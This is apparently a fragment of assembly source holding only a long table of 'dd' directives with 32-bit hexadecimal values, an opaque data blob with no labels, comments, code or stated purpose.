dd 5FDD6551h, 9AAFBF0h, 0F2105817h, 29071C00h, 8D009A26h
dd 0BE7D4AE9h, 796D642h, 0A45C057Eh, 1A51D00Dh, 38005532h
dd 0FBED16F2h, 1F65EAh, 2320CF27h, 1ED882C1h, 1D919200h
dd 7AF8BF08h, 79780012h, 3BEDFAC9h, 49F8A199h, 0F1D88100h
dd 2C722BFCh, 248F3E0Bh, 778E5E80h, 9170F669h, 6E633Dh
dd 4F211B97h, 0A494D6h, 0CBEC6268h, 2A31F174h, 79C1111Eh
dd 0C8EB3EC0h, 769543h, 443C2070h, 0C27A4564h, 622F4F00h
dd 0E9ECB024h, 0FC1A0BAEh, 0B0008DF1h, 0BADB0CB3h, 0BF753A00h
dd 239E6D40h, 0F8D14CB7h, 36C2A900h, 0E6E31BECh, 3D45F801h
dd 2EF2CD3Ah, 58005028h, 0F49783C4h, 59046E52h, 4F8D3DBEh
dd 2696B8C0h, 0E7E809h, 55CC4E5Fh, 8C918F74h, 68157F00h
dd 207B8A73h, 45390577h, 0C38DCB3Eh, 0D580C048h, 0EA00BAEFh
dd 550D4D1Dh, 0A85ABEh, 1B3C63FCh, 4C891E10h, 58D40705h
dd 0FAC29AC1h, 0E67C44ADh, 66433DC3h, 9FBC1200h, 336A8364h
dd 872F3500h, 0E72238BFh, 0DFA803F3h, 0F1411B2Eh, 0D8EAE6C9h
dd 5609E4ACh, 80CFFF8Fh, 0B547F70h, 1AE877h, 909E0833h
dd 72DEF11h, 12001B73h, 0A6ABB096h, 0E1F885Ch, 0D2D1D9C5h
dd 969A4A0h, 6630606Ch, 4D5869FBh, 0FE28ECBAh, 3656082Ah
dd 0DE04B3A5h, 0A4C061C1h, 83EC30h, 5E592E45h, 0A84F7DBCh
dd 8099313Eh, 2C645D3Dh, 3448E0Ah, 0BACDB0Eh, 80B423CCh
dd 0BF497165h, 8B068900h, 430DC4D5h, 73240032h, 0B3A36258h
dd 82009012h, 0E7C2E6D7h, 0AC52CAh, 53C3C460h, 34AE486Eh
dd 150960Bh, 57AB00BBh, 7EB3D8D4h, 6BC73BECh, 0DC299B80h
dd 8130B154h, 338E9D04h, 18C03732h, 0E42F0A1h, 60D1214Fh
dd 41BD43A0h, 8A023593h, 2B398D90h, 0B68A5DF8h, 8866030Dh
dd 4098FC0Ah, 0B800EF60h, 0F6BFFD6Bh, 61596Dh, 6284EC0Eh
dd 12D96F74h, 3B00189Bh, 1993D5B7h, 0D4435C39h, 3C48C604h
dd 0A174E0FBh, 9F7AD200h, 0C6920C2h, 7CFFF22Bh, 2A501E3Fh
dd 0CCF0840Bh, 0DF00C2C3h, 5580B451h, 0E8B44326h, 65C70013h
dd 0E2E3D433h, 0AC3F9816h, 2DB20946h, 64F48025h, 153241h
dd 1984FCB9h, 217AE24Eh, 2E5EC500h, 0B8A7CAD9h, 7E1602BBh
dd 0F4E15890h, 0A3DA24C8h, 0ACB420EDh, 8000134Fh, 205292Ah
dd 901E00C6h, 5FB50831h, 444D5EEAh, 5BC0098Ch, 8F288275h
dd 4B486067h, 4FA60F6Ch, 0A52060CEh, 0E736D7CDh, 44DF1D00h
dd 0DEAD0DEBh, 149282h, 62267F3h, 47C92954h, 53D738h, 2B72BD5Fh
dd 1451E17h, 9C0A27B0h, 0D0B48AB9h, 0A6009F96h, 0BD02F31Bh
dd 1738172Fh, 0DF6BA1h, 58753C56h, 7C009EB9h, 4065484Ah
dd 7B02BF5h, 0E23DC17Bh, 2F199C1Ch, 62287707h, 85E419C0h
dd 0BA70F9C0h, 2B402D2h, 0F2ADF98Fh, 0BF213040h, 0E10023E8h
dd 0DF083B44h, 0F88A80A4h, 72110F94h, 14A08C4Fh, 9866CF45h
dd 0BAB62A12h, 600702BAh, 0EC809AECh, 47A5B759h, 18D9A800h
dd 154520DDh, 87B21F38h, 579DC05Ch, 0D4E67C85h, 1900EBECh
dd 5FF40960h, 489E2D61h, 0D9004CAEh, 0C15039E9h, 0ED7EB82Ah
dd 0A527743Ch, 50108D73h, 0FCCADFF0h, 7978CCh, 0F52CA0D7h
dd 3F5C9318h, 18236C24h, 8D4BE981h, 0FE30EEA2h, 197D607Bh
dd 0CB2A4442h, 0DF008BF0h, 6451EE11h, 1CAFEA5h, 0EC5EC499h
dd 2B8255F5h, 9AD76840h, 70436Ah, 937AA053h, 30B7668Ch
dd 2011E00Fh, 1D14A04Ah, 0F6F2247h, 2337C886h, 0BB440193h
dd 0CC5ED081h, 123EFE1Eh, 89DD80BAh, 28403739h, 0F8820014h
dd 0AEDE07E0h, 6A0068F2h, 51BC7141h, 2512F35Dh, 20E0FC53h
dd 0CB3EDB63h, 0EC007DC0h, 74E7FE2Fh, 0D43483h, 603EADA9h
dd 0F575954Dh, 0CBD57603h, 0B8F86E1Eh, 2B6160Eh, 0DCDDC6E7h
dd 68E06917h, 0B1008C83h, 0BBF54A78h, 0ABA9CBh, 0A1CC23C8h
dd 66682B38h, 1B5E4900h, 0C3C5DF57h, 61D30F90h, 3729656Ah
dd 200C47Eh, 0AF3A119Ah, 1ED6F087h, 0C16689A6h, 7CCB08B1h
dd 0D0C0D8F9h, 4FC43501h, 1DA0823Ch, 0F0E0AB70h, 509EADBh
dd 0BBFFB62Ch, 0F216C014h, 3A048DA0h, 722EE31Ah, 0FC25D880h
dd 0B97100B8h, 6663290Ch, 5000499Ch, 0CEACEA42h, 0E4895E13h
dd 760D004Fh, 0E726FBFEh, 38F27556h, 2C82D309h, 7570D07Ch
dd 0F2D20051h, 0E74D6D6Bh, 0AD1E2155h, 68E686A3h, 6F5B7103h
dd 0AACAD098h, 0E9E400CBh, 0F16C6944h, 750013E1h, 76181223h
dd 0EC869BF5h, 806F000Bh, 9EF34448h, 257B920Ch, 8791B02Ch
dd 58948038h, 391B8AB7h, 0AFFC6Fh, 90639ADBh, 0B67F5399h
dd 0CC664000h, 60306B1Bh, 6A150074h, 33DCEB1Ah, 32008A26h
dd 7051D7B5h, 3A50F3h, 0A2FAB6AEh, 5B304DD4h, 17C2E3Ch
dd 4EB3C2A3h, 55D85092h, 73F4F3h, 8EB133B2h, 0B4549A03h
dd 20F9471Eh, 341C2C00h, 5ACE6FE8h, 7C7FC90h, 0D7D30C3Ah
dd 0D2C700DFh, 2C3CF545h, 5108A09h, 80B2AD31h, 63364634h
dd 0A647C500h, 95B755C8h, 0C4AB0115h, 7C7906A0h, 3350D89Eh
dd 0C3E4FC00h, 0E660D87Eh, 888C5D98h, 0B03B738h, 7685CF5Dh
dd 6A0EE807h, 0A3F0A852h, 1CA0C2C5h, 4077F558h, 1D5D0D03h
dd 0E6006726h, 3E5042C0h, 49B0B4h, 8B5E5682h, 0FB7E9B43h
dd 81F2087Bh, 46B7C309h, 246CD9A7h, 921C00B0h, 1B74C79Bh
dd 0A9E95C1Fh, 8400A174h, 0B3933CCh, 0A1030082h, 0C9F4665Fh
dd 0A53978A2h, 65B88080h, 11B9A68Ah, 0DD36002Ch, 83BA60EBh
dd 8F00E4D6h, 89304723h, 5B7EDCh, 0DD3B3862h, 0BAE79407h
dd 0EFB54200h, 2164758Ch, 0EDF895h, 7D2019D7h, 0DAB17ED8h
dd 23D7B01h, 54B35867h, 7A5609F4h, 0F6E03Bh, 9D664B4Fh
dd 49DB5B46h, 7747F900h, 91B38169h, 0A550144h, 532C6E8Ah
dd 0FE9EC993h, 0E440DAC0h, 4CF17400h, 91436B18h, 0EA920014h
dd 15F026E2h, 72028DFFh, 6ED0295Eh, 8CF193h, 97A4013Fh
dd 3B09DC3Eh, 85FAEEE3h, 43800F90h, 1E0AFF24h, 0CF9D073Fh
dd 0DA608F18h, 163252B6h, 67D8B300h, 82260E4Eh, 6241006Ch
dd 0A31C15F8h, 0F0001D09h, 0FE5F99DAh, 172683h, 0F940BF6Dh
dd 0D5DB711Eh, 0C100A07Eh, 4C28D9BCh, 0F4B646D0h, 45A403D1h
dd 0A692F5AEh, 7EA33998h, 0A140097h, 98479A9Eh, 0B0561443h
dd 77FC48Bh, 41077BC3h, 7D371086h, 0F1009198h, 6E4BA249h
dd 0EE3DAA6h, 0F57C0612h, 0F80239C0h, 0E8008BAFh, 599F4562h
dd 0DC3BAAh, 0F990E0BDh, 6ECDF54Ch, 0F4CCD513h, 0C639AF00h
dd 432EC2h, 9810EA77h, 122C0661h, 0BCEB6C00h, 26289554h
dd 0B70F1D74h, 99E680B5h, 49CCB96Fh, 6183EF0Eh, 27094017h
dd 215754h, 1E403074h, 0B78B1A86h, 2C901100h, 6271A081h
dd 63AA0057h, 34E265D7h, 70007559h, 5117A3Bh, 0F5406655h
dd 0F545CF4h
dd 6B854C5Ah, 8D4D2340h, 9705BFA1h, 1DF77063h, 89C3F1C0h
dd 0FEBA3E20h, 0C03A949Dh, 57B0E86Ah, 0CC006E1Ch, 5852BD0Eh
dd 55B2A8h, 22ABBCE0h, 0E7328D95h, 8F004573h, 4204CD86h
dd 91792Fh, 0BBA85330h, 7C967AF0h, 8FF90338h, 6464C109h
dd 2F80CC8Bh, 1EBE3CC5h, 0D25B8167h, 8F64B074h, 0FAE9E300h
dd 0EE265651h, 2C3E00A9h, 9FFFB0E4h, 0C7FEE1E8h, 0CE365401h
dd 33F04099h, 0C6D9AD8h, 0ED1CD55Fh, 0DEF257E4h, 2BAF0400h
dd 0EEFFF54Eh, 0E2C93E9Fh, 364AFD03h, 0F1D04BC8h, 0AE00C3B2h
dd 8D0B3E6Fh, 1632C797h, 507BE2h, 0DAFDE58Ch, 6B003FFFh
dd 8257BAA6h, 53D66h, 5DDE8CE9h, 9DB267F8h, 0A1A4E600h
dd 914F77FBh, 4E1C1C1Ah, 31B4003Ch, 51F3C337h, 86683Eh
dd 0CA7D07C7h, 1613D9h, 3DAC0FDBh, 0C64BB1A1h, 41AEBF00h
dd 0E006F3E9h, 0CE8000F1h, 89BE9C9Ah, 0D901FAE1h, 0F5D543F0h
dd 49F8C132h, 1D4E0EA8h, 7EE512EEh, 0AC855Eh, 339BE27Ah
dd 0F70003F2h, 784BFA4h, 1E3AAB82h, 404E8634h, 70E7CA1Dh
dd 0EA00CF4Ch, 232C554h, 3E42D75Dh, 0D638AEC1h, 102EDC00h
dd 0FD792319h, 29C0900h, 14893E44h, 0EE840255h, 5AB5E130h
dd 910BA074h, 15005F27h, 25071EC1h, 29D1B600h, 18B738B1h
dd 46E01FEFh, 1F300E09h, 0EB1C50C1h, 0EB886BBh, 14920CCh
dd 24E51B3Dh, 70C2150Ch, 460F2785h, 0FC424929h, 3F99B780h
dd 6BF1F8h, 220EEFE1h, 0B41A907h, 0CB148DECh, 11C5A5Eh
dd 0A3AB4ED9h, 3FAED8h, 1BA56590h, 0C171A9F4h, 84E67F17h
dd 913700FEh, 0B18FF71Eh, 0B0D97901h, 0A9117C33h, 8D633881h
dd 0F4B39490h, 0CD00AE5Ch, 8A2DF4C8h, 39F5E785h, 888354EBh
dd 0EA85D59h, 972968A0h, 4DB01E79h, 0F26F3F0Eh, 667EA379h
dd 671FF956h, 3C3020h, 4CF3F85Fh, 330E5414h, 687FC800h
dd 0C78E3DB2h, 0F47D00F7h, 5F39FA0Fh, 0D500B572h, 23903713h
dd 58682FAEh, 1C24B28Eh, 0D0FD00D5h, 4F421B3Eh, 79E7D200h
dd 0A7179495h, 92C40BCAh, 7860F6C7h, 6E004E8Eh, 75412579h
dd 68B447h, 621F390Ch, 50ABBAF6h, 538E08C3h, 7A9498C0h
dd 0F1A21816h, 40861904h, 0EC25960Bh, 1FC901D0h, 0E840A5A9h
dd 33F06EFh, 7EEEDCADh, 0A0C1F67Dh, 883920AFh, 162FC800h
dd 0F440AA9Ch, 10290017h, 0AA5E07Dh, 8B0051ADh, 8EC727BAh
dd 74D261C2h, 0AC8C6055h, 72EDDCE1h, 2632A300h, 4C46BC29h
dd 28FE3AA5h, 0B1574A87h, 730FE0B3h, 3113ED1Fh, 0FF0CF783h
dd 75418B0h, 0A352BE60h, 38036091h, 0D01D8045h, 0F4280869h
dd 274AB10Eh, 4D200034h, 72BC944h, 18AF8A45h, 81651069h
dd 0AE00B949h, 7B8F36B2h, 3EF6150Eh, 19007C1Bh, 44074E9Bh
dd 0F00694Fh, 47DBD656h, 36C79Fh, 0C99CBCB0h, 210654DEh
dd 0A2444E00h, 1AE878A0h, 0EE610039h, 0A3CA0C84h, 490066C8h
dd 0C55B8FFDh, 0E8A50EB7h, 0F3692659h, 7A3500B8h, 209B1566h
dd 810D48C0h, 0C0543Ch, 11F42E41h, 0AE35B6F0h, 88007BEEh
dd 17CEE620h, 0BA9031h, 1A1883A7h, 619DF61Bh, 3600D5E0h
dd 67B88B30h, 4D0E29h, 0BD134FE9h, 0D516DCF1h, 773FB18h
dd 606D7729h, 10C97825h, 61030B78h, 0CE3D5D0Fh, 0B609E836h
dd 3C4F698h, 0F3AF73EEh, 69B8D434h, 28393193h, 0E81980C0h
dd 99CF7149h, 0A601DCAh, 332A80F8h, 963FCE77h, 9EBD9C3Dh
dd 781BA53h, 0E08C19D9h, 38BC3AECh, 0CC50805Fh, 25DB000Ch
dd 0FE06D1F3h, 4E74A0C6h, 805EBD3Eh, 8739A18Ah, 0FCC4FE1h
dd 0C89B58EAh, 90458147h, 0CD8B648Eh, 741C693Eh, 28C5400h
dd 258D22FFh, 0F29F1D48h, 41C7C026h, 8A1E6266h, 3ABB8F38h
dd 0AC180380h, 80B8C1FFh, 38A6586Ah, 0F98002C6h, 0B7A23350h
dd 2D3819C7h, 0FAF309AEh, 6E9107AFh, 0DCC2A025h, 92EDE02Ch
dd 13CE03CDh, 40ED6CD7h, 98E882E7h, 0B977D60h, 1E2B1F07h
dd 1863D079h, 0BB17D8A9h, 4774F1h, 9386D9AEh, 0BF84C839h
dd 0C6B95101h, 85E446BEh, 6A601082h, 49E5204h, 0DA0230Fh
dd 635C806Bh, 0F219DE9h, 78BEEEC2h, 0CF774280h, 0E0B8FA6Dh
dd 0DAD82B00h, 0F6E543F1h, 9AC20026h, 0D00D41FEh, 94006029h
dd 0AE4BECABh, 0EAAA10h, 0DED7C076h, 0F5451D98h, 65BBC90Eh
dd 2E40BE18h, 668914A0h, 0B1120061h, 8B88D07Eh, 53005EC5h
dd 0BEEAAFDFh, 0FEAE1A79h, 0CA4000B6h, 0C76F299Fh, 50725B04h
dd 13308A07h, 0C8E0DF92h, 366BD09h, 7641D8B8h, 56003B7Ch
dd 8652122Ah, 67C3D1h, 0ED2C3283h, 0B81E736Ch, 0C401ADECh
dd 642F9CA7h, 8CD44A2Bh, 9A040077h, 6F5D0C8Eh, 7CB898C6h
dd 0E1901000h, 4EFCE4CAh, 65330061h, 6B31AB56h, 42740396h
dd 5300D0B0h, 0A2802E3Ch, 633A33h, 8DEC23CEh, 0D781EA4Fh
dd 0ACE64000h, 7AAF076Eh, 0FE250180h, 5218D955h, 1A6170A7h
dd 7D293104h, 0C18237B5h, 8E60DF72h, 0CD1F6007h, 30803C33h
dd 0A1F5D48Eh, 40A8006Ch, 5E91C79Bh, 0B300ABAFh, 5130C5Bh
dd 0E24B4F6h, 7E6FDB28h, 0B8EA7660h, 9A009CCEh, 92F02758h
dd 518C48h, 24DF83E3h, 0A38FA152h, 544B5900h, 580527D8h
dd 31F10081h, 0A5CA6E8Eh, 0B9002073h, 6FC72535h, 0E38D0h
dd 99340785h, 61BC6E1Ch, 96D35100h, 45373CB8h, 0C5FD0324h
dd 1092C62Dh, 1AF65D90h, 6A67B600h, 15E8A5C4h, 6F9800FBh
dd 403B2B54h, 7CF47F1Dh, 22A44Ch, 0CD6709B4h, 0EC7D08h
dd 62ADF060h, 9B5E712Fh, 0B1F2CB00h, 9A6381D5h, 458005Dh
dd 76784C60h, 0D0004705h, 44DABCDFh, 868C13h, 93653555h
dd 168B2CB5h, 0FCA4B607h, 0CCC0F448h, 44F1FAh, 8C5B795h
dd 20D8FDF2h, 0E7BCDB00h, 735D17Dh, 2B4C0F36h, 1740430Dh
dd 0BE12B4C4h, 0F4F7AA07h, 46A05719h, 0BA8DF3F9h, 29210030h
dd 6E769AA9h, 0D700D454h, 0AD2B06F2h, 91C889h, 2C453B3h
dd 622FFFDAh, 7FF33C00h, 0BC92A497h, 931F1E84h, 0E680FB46h
dd 859D301Ch, 90003EDAh, 0C6057B6Ch, 727709D8h, 0BA3001Ah
dd 0BDE231FEh, 2600D379h, 3A8B6FABh, 4D24B221h, 420E0CE6h
dd 0C240ADA7h, 0F6DA481Eh, 0C43CCB00h, 0D88B5EAFh, 1C987281h
dd 43432B3Bh, 5F10D540h, 0C6FA2CB8h, 1F0C5A02h, 60D79749h
dd 1F864D20h, 79A27689h, 681A8E00h, 85666D12h, 56B8B201h
dd 6CFE0F7Ch, 2E11D1F4h, 0C1E338h, 0D32F82DFh, 9801803Ah
dd 43D28726h, 70803341h, 94033034h, 1FE8081Bh, 1A01D600h
dd 6102CE7Ch, 819E07FCh, 13831152h, 10A8F0BFh, 0EC002CBDh
dd 6E33E119h, 9B770h, 667F30EBh, 99AED7D5h, 291ECE7Bh
dd 854071B5h, 0B4DF3887h, 7054004Ch, 2E5DBF6h, 0BF00EE44h
dd 580B1701h, 92A236h, 68C94EBh, 0DF49B4FCh, 0F8E20A02h
dd 800BB5C6h, 76FBAE93h, 2EBD0078h, 0C3E40E4Eh, 301D2D8Dh
dd 0F1C0CCA0h, 1B205BA1h, 682C0E95h, 0F4A03EC8h, 0DBF812AAh
dd 8B214100h, 4B0B9137h, 93D50B52h, 0AC804CC0h, 329EDD16h
dd 3295D05h, 0E4404928h, 0E43984A4h, 0A1DA006Ch, 532ED402h
dd 3573EC06h, 8A7EC177h, 60CC5900h, 6DB69E69h, 796C9818h
dd 0D809487Eh, 0FD0C8000h, 0EE7DD35h, 0A08949h, 465D2BD8h
dd 6DB261h, 8227F6B9h, 0B07E5ADFh, 0D6835900h, 428BD702h
dd 139A1D1Eh, 430500E9h, 3BAD1D0Fh, 5FE838h, 7F909B91h
dd 0E7B8309h, 71524698h, 47FB4020h, 0AA072D67h, 78223848h
dd 0AED66BA0h, 98DD4CA1h
dd 2D808A39h, 0E4D7B96Ch, 6177634Dh, 7C6ABB00h, 8BC1D006h
dd 251515F3h, 497488C3h, 6C03900Bh, 23217237h, 0DD4D84E0h
dd 71CFAC1Fh, 279D289Ch, 95927081h, 409D56D8h, 9DD183DAh
dd 9C03F0D0h, 21D5572Ch, 39CD984Dh, 716FAB5h, 2DEB609Ah
dd 0B06C3241h, 0E994AC80h, 4773B152h, 33E40F24h, 0E02AB700h
dd 8C2D4Dh, 88EF574Eh, 1A5B30EDh, 42DA2405h, 75C0A5E8h
dd 513AEFBh, 744C616Bh, 8C00C192h, 6FDA4023h, 52001AD3h
dd 0E7A05DEh, 6585EAh, 0FE4C1603h, 4F81BC1h, 1D183116h
dd 7F4AE800h, 94EA5Eh, 0C1490CD1h, 78413265h, 0B3B6E3Eh
dd 80CB9D0Fh, 9163A12h, 40C30338h, 36436B0Ch, 77A0809Ch
dd 5D00017Fh, 0C8451E25h, 85E9C7h, 37DCF5B4h, 839D7376h
dd 9502BDF0h, 0E0746222h, 0C0854207h, 2D0A124h, 5219E68Dh
dd 9C60E523h, 960065B0h, 600642BBh, 359ABC2h, 4C7969AFh
dd 3800F521h, 6D7FE661h, 19B93B4h, 0B7E80C1Ch, 87EF4380h
dd 792FFA9Eh, 6ACFBFB1h, 50F46071h, 4CD7009Fh, 0FBC8F8F5h
dd 8F1DAC1Bh, 743290Ch, 0D50B209Ah, 0C45B8C05h, 1D0474D1h
dd 45F7C8h, 7FD11F51h, 744097DBh, 0A1425200h, 0C779B64h
dd 6CC70047h, 739A7B3Ch, 0AB0F4914h, 60AE4FFBh, 1859BD8Bh
dd 15B50040h, 0CF11D62h, 0BAEAE4FEh, 6E6B4700h, 0D9CD973Ch
dd 0BB2E008Bh, 21C7DC8h, 40773EAAh, 0ABF4E700h, 41666A2Ah
dd 20A10136h, 6E59A75Ah, 0B51BC41Dh, 65FE48h, 0CA8D45FCh
dd 3B8748Bh, 0C860AB6Dh, 43A8CE3Ch, 0D7000683h, 1AEA50A6h
dd 0A09452E3h, 0B1D3C4h, 487CC99h, 72E736E1h, 63ADEE00h
dd 184315C1h, 64350132h, 0E5DFFC80h, 6F08F2h, 501FD22Bh
dd 0F9049057h, 4C00F4FAh, 72879E66h, 4A409F5Fh, 5B3001A8h
dd 806D580Dh, 2D629710h, 612EDBD1h, 969A2090h, 0E8D0F72Ch
dd 1400BE7Ch, 54EF5E1Dh, 0DF184FFDh, 0F4B970h, 0FED4694Bh
dd 0EB2965E3h, 0A4337900h, 18B0EA2Bh, 0D81C0066h, 0BEAE5291h
dd 5D062A96h, 512E39CEh, 0A8380068h, 0B93BC8C1h, 0A20EA05Fh
dd 41737AE7h, 0FF3E4AA9h, 12A1DED8h, 40B22A13h, 0BB792C04h
dd 3700CA07h, 55F17CE3h, 0E2BFE4D2h, 6A6D00F7h, 30977954h
dd 8049A8Ch, 0AE688B9h, 94876C80h, 48130086h, 0B437F04Eh
dd 6E0FF561h, 0A0CA6C99h, 0A471DA15h, 3BB29859h, 6496A38Dh
dd 735A03ECh, 56903F1Dh, 0B200029Bh, 249626E0h, 6C4466h
dd 3ACE27E5h, 2EBF3EAh, 374793Ah, 0AC7DE4FAh, 0D639050h
dd 0EECC0645h, 48295F81h, 2246E700h, 0C33747E9h, 0A81E0BFDh
dd 7530D9h, 2CB9CFB6h, 34760EB6h, 26801AFCh, 6A64481Dh
dd 734A7D00h, 1E619E8Dh, 0AB8306BFh, 581BB936h, 60168101h
dd 74DC80E4h, 0C21D6F0h, 11DF933Eh, 33004E20h, 801629C8h
dd 74816F4Ch, 90C400D2h, 92DF8CC3h, 6400D97Eh, 369B1346h
dd 176278B7h, 0CC6E091h, 1FD01709h, 8C1C8700h, 0C1194A5Fh
dd 0E783002Dh, 3E39CF82h, 0C574FD4Ch, 31085C03h, 908A3C72h
dd 5E17B9C7h, 6B29C02Fh, 0E70085D4h, 0B767DAD7h, 0E706FA2h
dd 0E1B9E228h, 392E7600h, 0D8F75E2Fh, 2403BBB3h, 0C37C782Dh
dd 2FE85E6h, 0CD754AEEh, 0C08209Ch, 406BCF88h, 273CE0B5h
dd 830E7C39h, 0D1D74861h, 0E15000CAh, 0C04D3F9Bh, 0A5307397h
dd 0D6761984h, 0A2351DF3h, 0DD0E8071h, 934EC90Fh, 0B132400h
dd 3CD945FBh, 6D83C31h, 40F2041Fh, 11AAE7Fh, 0C770A2C2h
dd 54A0C460h, 706E8C7Ch, 0D030059Eh, 824428B1h, 1CE1A846h
dd 6FA3F44Bh, 8F50C200h, 0A2DCEA1Eh, 680328C1h, 62261CA4h
dd 8B587113h, 4065ED2Dh, 0EEFBB9A8h, 3A087601h, 60B8A07Ah
dd 2C81B882h, 44024F36h, 6D7F4023h, 28FB02E2h, 0EE34040Ch
dd 767280B0h, 406A1911h, 932523B0h, 1500B578h, 0BF305401h
dd 14B4FD1Dh, 0AC26E9CDh, 0BD24CA00h, 6D9565EBh, 0C42CE800h
dd 4FCD7ECEh, 0C9550074h, 1319F720h, 6E24ADE5h, 3B001441h
dd 0B99A94BDh, 1171003Ah, 0C6421C12h, 0B0A0D60Eh, 0D8053772h
dd 14BC6FD2h, 3A9F202Ch, 0C2C4CDh, 85EBD94Ah, 1794CAB8h
dd 135AD08h, 253F7FB7h, 16D04013h, 0D590D16Bh, 0FB0F8690h
dd 82E15DD5h, 8112DE17h, 0ED7DE9C8h, 53E8ECh, 3B689AB8h
dd 0D50E6C42h, 64372805h, 0FC00772Bh, 1356A48Bh, 0DF9B00FCh
dd 29CDA18Fh, 0A30C68D9h, 5067701Ah, 7DA23813h, 14FE9397h
dd 0BA009653h, 57EA75FBh, 1800833Ah, 2F9CEFF1h, 0F2B674h
dd 3FEB22FCh, 9BDF6B1h, 0A1921719h, 0C3F51AC1h, 3B580CD3h
dd 20199A3Dh, 0B4313E00h, 0FE15A432h, 6F064063h, 2C790558h
dd 8002C7Ch, 3A2BEAFCh, 9AEF0045h, 0ECE770A3h, 0E57652BCh
dd 2DE0FCB0h, 58722E30h, 60E4FC67h, 18A048C1h, 0EE608E98h
dd 0D04EEC28h, 561A002Eh, 6E0B0A73h, 2107EF71h, 674966CFh
dd 0B74EE2D0h, 0DE68006Dh, 3314C4AAh, 0EA00F77Eh, 58569B6Fh
dd 7382534h, 0CA1C37D0h, 9ABE00C8h, 0C900964Fh, 0EF4B5927h
dd 3BB9F414h, 1006330Dh, 58E1AB6Fh, 0A7AE3601h, 9E5D57BDh
dd 0E482E347h, 890D409Dh, 5690085h, 164D2009h, 1A0024A2h
dd 0AEE53F32h, 90AFA7A3h, 0E4F0178h, 0C4224C34h, 491BF01Ch
dd 91815Ch, 0CE8AAF6Eh, 1C6C0F18h, 56F9B3h, 0A26528ADh
dd 4B000B5Bh, 69D9E343h, 0B78B5Dh, 2102F49Ah, 0B1804C25h
dd 617C0900h, 0E40FCCFDh, 0F0DC00B2h, 96196013h, 0AF039F94h
dd 0F5427E17h, 6DD3983Ah, 880A0065h, 0A94FF4CCh, 3C00B262h
dd 4724B4C0h, 0FC2CB8Dh, 29846AA8h, 3E3F4D05h, 730E0004h
dd 0FD24B7B5h, 761F0096h, 0F130C2F7h, 0CC7F06EAh, 52B8744Eh
dd 0BD5CD40Ch, 4F0180E4h, 0DE6C2393h, 0ECD08CB1h, 0FDD203AEh
dd 0C744202Dh, 65C05BD0h, 0B4519F00h, 9D91687Bh, 10433DAEh
dd 4D499000h, 0B0F6A8EFh, 0CB125900h, 0C8D75F0Bh, 0B4C40096h
dd 7D9E6082h, 1C0007D8h, 0DE4E4AA0h, 0FA6CB2h, 0C874BE9Ah
dd 2F57097Eh, 9301CAF8h, 24D1C4D6h, 0BBC8B30Dh, 168F00BCh
dd 0BE99B48Bh, 8000F122h, 72D07546h, 0EF88ECh, 5569CF71h
dd 451F2F3Fh, 0C2E2E000h, 5CFCADD8h, 6BD600CBh, 14126121h
dd 3F0F0CB7h, 602B8F01h, 5D3A3BB3h, 0F77B87Fh, 632AFDF3h
dd 0F084C260h, 0A60F75D8h, 0C0F5ED4Ch, 8342E3C6h, 0E28200F1h
dd 0EFC1D0D6h, 4100A46Dh, 0EB939DA1h, 1C44E30Eh, 0C5C9267Ch
dd 0C08002B3h, 60787F32h, 7BB6EF0Ah, 1F00D884h, 0F03BF8AEh
dd 7238005Ch, 0D1443EB7h, 151E29A8h, 870EBFCEh, 0EDCAA0ECh
dd 0D6211C79h, 85730038h, 3AB71D8Fh, 0DDCEDF00h, 582A05A9h
dd 7BAC0F60h, 4C80D6B1h, 35C028A6h, 693BE61Fh, 1C8ED054h
dd 0E3400A9Dh, 0DC375534h, 0EF2C1F97h, 5A6B8070h, 0D64AC6Ah
dd 0FA429B12h, 4E00E0ACh, 7D1DD99Ch, 0F200CE53h, 0E1E838A9h
dd 7B071AC9h, 5F430FDEh, 407E1974h, 9AF4CAF1h, 4D03BC42h
dd 0FC10488h, 56E4C8DAh, 0DBF600B8h, 3B857841h, 0A73B7225h
dd 0B3E500BAh, 0E3E8FA0Ch, 2EB00C13h, 0FCF0F021h, 4F2BBD0Fh
dd 7A8F0065h, 0BA68A7h, 69CD2502h, 0B533F7Ch, 5200A575h
dd 57A47984h, 0BCA38Ch, 2F077B4Ch, 4DAEB011h, 79B6ACA0h
dd 0FB564300h, 0C01965A6h, 0FF1E006Ch, 63840B3Bh, 2020361h
dd 5CDDBA6Eh, 0CD524020h, 69C20074h, 61223992h, 9800F18Ch
dd 49DE15DCh, 6AB63Eh, 875DD45Eh, 3226E108h, 7244E800h
dd 1169E663h, 3F521ECCh
dd 0B6754006h, 0CF39258Eh, 0DB26EE05h, 0C900CED0h, 715868Bh
dd 23790037h, 0C5C91D91h, 4E01D8DAh, 3CEF82D3h, 89C03D2Ah
dd 9D1A0070h, 0A456C9B1h, 310178EBh, 3E61C15Dh, 0A36054EDh
dd 0BCFB0034h, 0FD977BC4h, 2490775Ch, 24C2A710h, 1CAE3009h
dd 71B17087h, 0D8C4C6A2h, 4E00D2CEh, 15945049h, 9EC384h
dd 172B185Ch, 230657FBh, 5121E600h, 9AF58214h, 0BFEC1C38h
dd 5D6404B8h, 95B5E008h, 0FCF1E700h, 54BE5327h, 3B8A7B1Ch
dd 7D1FDD49h, 0A9E4116h, 0E0696DBCh, 0A50386E2h, 5DB30CADh
dd 0B162F01Ch, 0D92600ECh, 5433D823h, 7E01BBB4h, 0C1CB82A9h
dd 0BECC2C76h, 0F7A31437h, 6900D252h, 255A0C7Ah, 6B00DF90h
dd 0DD44F1AAh, 121B11h, 0BA483F27h, 0E56707F8h, 8D9EC600h
dd 30A263A9h, 0CE27096Ah, 6103D992h, 0BA991365h, 42ADE4D3h
dd 0EF507C02h, 41F396C9h, 59603D08h, 9C0801F5h, 89E9831Fh
dd 34AFE4B4h, 1105487Ch, 9546A67Eh, 0E8F3F380h, 67C8014Dh
dd 29B8EA66h, 9C3B20F7h, 0A1DD030Fh, 525D40D2h, 3733E70h
dd 0BF3FD0A4h, 46F0BAEEh, 0E5004741h, 0AE54F60Eh, 1B202D5h
dd 0F1BC5BB9h, 0E45D4DDBh, 6C702197h, 0B3438200h, 0F7D89011h
dd 7CF80045h, 9610A25Dh, 1A00A6DDh, 17BCF32Ch, 0E856E3h
dd 8735061Fh, 4ED56657h, 0B56BF212h, 0B3151007h, 0D15414E0h
dd 7A763DC0h, 662C6A80h, 40B11E9Ch, 0E8B9D001h, 7EDDECC6h
dd 5E442080h, 0A0711425h, 30684B0Fh, 95A48074h, 3EDFF5CEh
dd 3F000EE1h, 9DAAFB82h, 5DE62AFAh, 0A3E57C00h, 8D165A21h
